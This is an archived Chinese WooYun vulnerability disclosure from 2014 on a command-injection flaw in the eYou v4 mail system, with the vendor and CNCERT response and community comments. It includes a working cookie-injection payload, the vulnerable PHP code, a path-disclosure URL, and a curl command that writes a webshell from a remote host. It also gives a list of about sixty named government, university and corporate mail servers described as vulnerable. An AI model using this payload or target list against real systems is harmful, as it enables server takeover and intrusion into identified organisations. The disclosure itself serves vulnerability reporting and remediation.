当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058301

漏洞标题:亿邮邮件系统命令执行漏洞(大量邮件系统沦陷实例)

相关厂商:北京亿中邮信息技术有限公司

漏洞作者: pangshenjie

提交时间:2014-04-24 18:05

修复时间:2014-07-23 18:44

公开时间:2014-07-23 18:44

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-24: 细节已通知厂商并且等待厂商处理中
2014-04-29: 厂商已经确认,细节仅向厂商公开
2014-05-02: 细节向第三方安全合作伙伴开放
2014-06-23: 细节向核心白帽子及相关领域专家公开
2014-07-03: 细节向普通白帽子公开
2014-07-13: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

涉及到的应该是亿邮v4版本的。互联网仍有大量实例。

详细说明:

poc:
利用:/user/list.php 爆路径
然后cookie内USER修改为如下:

UID=1+|+echo+test+>>/路径/xxx.txt


eyou邮件系统早期版本中存在大量的exec().system() ``等敏感可能导致命令执的敏感函数和代码
其中,/inc/function.php 中存在如下代码:
function getUserDirPath($uid, $domain) {
$cmd = "/var/eyou/sbin/hashid $uid $domain";
$path = `$cmd`; //使用反引号导致$cmd可以被执行
$path = trim($path);
return $path;
}
search了一下,在/user/storage_explore.php 中调用该函数:
$skin = getCookieUserValue('SKIN');
$uid = getCookieUserValue('UID');
$domain = getCookieUserValue('DOMAIN');
$user_dir_path = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path = $user_dir_path.'/storage/Data/';
$userinfo = get_userinfo($uid , $domain);
$uid , $domain 分别都是getCookieUserValue 函数来获取的,该函数也在function.php
中定义:
function getCookieUserValue($key) {
$user_arr = explode('&', cookie('USER'));
$n = count($user_arr);
for ($i = 0; $i < $n; $i++) {
$g_arr = explode('=', $user_arr[$i]);
if ($g_arr[0] == $key) {
return $g_arr[1];
}
}
return null;
}
然后就可以呵呵呵了。
控制cookie中USER内容中UID=+|+echo+123+>>/tmp/xxx.txt
即可执行命令。
另外厂商还附送了一枚爆路径:
/user/list.php
攻击者完全可以利用此处获取webshell控制系统

漏洞证明:

/user/storage_fold_explore.php
/user/storage_explore.php
控制cookie 中 USER字段的值:UID=1+|+patload

payload.jpg


test.jpg


爆路径:

list.jpg


另外测试的一个站发现开了gpc了。echo写shell的时候里面的尖括号等符号需要转义,
而转义符号又会被gpc再转义一次。
so,可以 curl http://xxx.com/ >>path/shell.php 写shell。
虽然应该涉及到的不是eyou最新版本,但是网上依然可以找到大量实例,google:intitle:亿邮通讯 前几页就找到不少(另外应该还有不少改了关键字的):
http://mail.sihs.edu.cn/user/storage_explore.php
http://mail.bjsasc.com/user/storage_explore.php
http://cma.org.cn/user/storage_explore.php
http://gzlps.gov.cn/user/storage_explore.php
http://mail.bjtsb.gov.cn/user/storage_explore.php
http://mail.ynfda.gov.cn/user/storage_explore.php
http://mail.sihs.edu.cn/user/storage_explore.php
http://mail.gzhmc.edu.cn/user/storage_explore.php
http://mail.ynjcy.gov.cn/user/storage_explore.php
http://mail.whuh.com/user/storage_explore.php
http://mail.baoshan.gov.cn/user/storage_explore.php
http://mail.huayou.com/user/storage_explore.php
http://mail.glzx.net/user/storage_explore.php
http://mail.workercn.cn/user/storage_explore.php
http://mail.ynfda.gov.cn/user/storage_explore.php
http://mail.lijiang.cn/user/storage_explore.php
http://mail.gduf.edu.cn/user/storage_explore.php
http://mail.wnu.edu.cn/user/storage_explore.php
http://mail.xsbn.gov.cn/user/storage_explore.php
http://mail.jxrtvu.com/user/storage_explore.php
http://mail.yn.gov.cn/user/storage_explore.php
http://mail.nbcc.cn/user/storage_explore.php
http://www.bhhco.com/user/storage_explore.php
http://221.199.11.171/user//storage_explore.php
http://www.bhl.net.cn/user//storage_explore.php
http://mail.xsbn.gov.cn/user/storage_explore.php
http://mail.ynagri.gov.cn/user/storage_explore.php
http://mail.yngzw.gov.cn/user/storage_explore.php
http://mail.zlvc.edu.cn/user/storage_explore.php
http://www.wxjd.com.cn:8080/user/storage_explore.php
http://email.cin.gov.cn/user/storage_explore.php
http://mail.ynppb.gov.cn/user/storage_explore.php
http://mail.sdhyxy.com/user/storage_explore.php
http://m.zime.edu.cn/user/storage_explore.php
http://mail.jsjzi.edu.cn/user/storage_explore.php
http://mail.mastvu.ah.cn/user/storage_explore.php
http://mail.ynnic.gov.cn//user/storage_explore.php
http://mail.xys.gov.cn/user/storage_explore.php
http://mail.ynbtv.cn/user/storage_explore.php
http://mail.cxdrc.gov.cn/user/storage_explore.php
http://mail.tjha.cn/user/storage_explore.php
http://mail.zzvcom.com/user/storage_explore.php
http://mail.jku.cn/user/storage_explore.php
http://www.sit.com.cn:802/user/storage_explore.php
http://mail.cein.gov.cn/user/storage_explore.php
http://email.10050.net/user/storage_explore.php
http://mail.zjiet.edu.cn/user/storage_explore.php
http://mail.tianhe.com/user/storage_explore.php
http://ms.sytu.edu.cn/user/storage_explore.php
http://mail.hao1818.com/user/storage_explore.php
http://mail.sxky.cn/user/storage_explore.php
http://mail.cnxw.com.cn/user/storage_explore.php
http://mail.yongren.gov.cn/user/storage_explore.php
http://mail.mdx.gov.cn/user/storage_explore.php
http://mail.bofcom.gov.cn/user/storage_explore.php
http://mail.nanning.gov.cn/user/storage_explore.php
http://mail.ahgzw.gov.cn/user/storage_explore.php
http://mail.wtec.com.cn/user/storage_explore.php
http://mail.chu.edu.cn/user/storage_explore.php
http://210.43.128.17/user/storage_explore.php

修复方案:

你懂的

版权声明:转载请注明来源 pangshenjie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-04-29 09:26

厂商回复:

CNVD确认并复现所述情况,在改写无害化检测脚本后对相关服务器进行巡检,至26日发现有338台服务器受到影响,根据测试用例情况,转由CNCERT分别向分中心以及重要行业单位通报。漏洞情况已经先期发给亿中邮公司,待其发布补丁。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-24 18:06 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    又是个大奖啊

  2. 2014-04-24 18:10 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    火钳刘明

  3. 2014-04-24 18:57 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @疯狗 目测是这个:http://loudong.360.cn/vul/info/id/5778

  4. 2014-04-24 19:03 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    @U神 不明觉厉

  5. 2014-04-24 19:29 | 我是壮丁 认证白帽子 ( 路人 | Rank:10 漏洞数:1 | 专业打酱油)

    速度围观啊

  6. 2014-04-24 20:15 | 不进则退 ( 路人 | Rank:2 漏洞数:1 | 慢慢成长,不进则退。)

    @疯狗终于可以和大神并肩了,吼吼~~其实我是看到你才决心来这里滴,

  7. 2014-04-24 20:21 | Anymous ( 普通白帽子 | Rank:124 漏洞数:28 )

    你等何须读典坟,若见中丞忽相问,不忧家国任奸臣,吊影徘徊独愁暮。那堪雨后更闻蝉,能令百二山河主,得意引杯须痛饮,了却人间婚嫁事。

  8. 2014-04-24 20:29 | cncert国家互联网应急中心(乌云厂商)

    mark,明天比对一下。

  9. 2014-04-24 23:07 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @U神 目测是那边给少了,哈哈

  10. 2014-04-24 23:52 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @不进则退 你匿名提交漏洞了?

  11. 2014-04-25 07:06 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    为毛 我总是照不到这个的源码。。求一份。

  12. 2014-04-25 08:59 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    哈哈未同意啊

  13. 2014-04-25 11:17 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    带$$$是发钱的意思吧

  14. 2014-04-25 11:17 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    我靠!¥¥¥ 是啥意思。。。

  15. 2014-04-25 11:18 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    很多钱的意思

  16. 2014-04-25 11:26 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    怎么变成2个$$

  17. 2014-04-25 11:30 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    我也是刷新了下 看到了~ - - 如果和360那个人是一个人的话 那俩边都能拿钱啊~ 好特么的机智啊!

  18. 2014-04-25 11:33 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    看来我要转型了

  19. 2014-04-25 11:34 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @浩天 新功能上线,体现出通用型漏洞的奖励,但这个$的数量不直接代表多少奖励(但奖励确实与等级挂钩),而是应用影响等级,尽量不搞的复杂,所以刚刚微调了下

  20. 2014-04-25 11:37 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    @疯狗 ¥¥用这个好唉,$$不是美刀嘛

  21. 2014-04-25 11:38 | 小威 ( 普通白帽子 | Rank:492 漏洞数:76 | 活到老,学到老!)

    这是被钱给砸了么

  22. 2014-04-25 13:36 | nextdoor ( 普通白帽子 | Rank:325 漏洞数:74 )

    @疯狗 这和精华贴有啥区别

  23. 2014-04-25 13:40 | 不进则退 ( 路人 | Rank:2 漏洞数:1 | 慢慢成长,不进则退。)

    @疯狗是啊,只敢提交小的,大的怕,不敢提交咋办?

  24. 2014-04-25 13:47 | cncert国家互联网应急中心(乌云厂商)

    已经先行向厂商通报,后续的用户案例检测已经在进行,目前改写出低害化检测脚本。

  25. 2014-04-25 14:06 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    一直在调这儿美元符号,压缩了更难看了

  26. 2014-04-25 14:13 | 神奇=路人甲 ( 路人 | Rank:0 漏洞数:1 | 神奇=路人甲=神奇=bug)

    这回弄大了!

  27. 2014-04-25 14:16 | MyKings ( 普通白帽子 | Rank:114 漏洞数:24 )

    @Anymous 你若不吊那能得了~ ^_^

  28. 2014-04-25 14:28 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)

    $$是啥意思?发米?

  29. 2014-04-25 17:10 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @疯狗 。狗哥 这个昨天才提交 今天就能有钱? 不是要最少就要10天左右评级么。

  30. 2014-04-25 17:19 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @′ 雨。 机制一点点的在改么,慢不是现在最大问题么,尝试看看咋搞。

  31. 2014-04-25 19:01 | noah ( 普通白帽子 | Rank:384 漏洞数:40 )

    有$$...

  32. 2014-04-29 09:45 | ylaxfcy ( 普通白帽子 | Rank:178 漏洞数:28 | 技术无黑白,但是人有)

    2k到手,耦合和

  33. 2014-04-29 11:00 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @疯狗 看来这种速度还是对 重点/一般应用的才有这种速度啊,

  34. 2014-04-29 11:00 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @′ 雨。 提速的一个尝试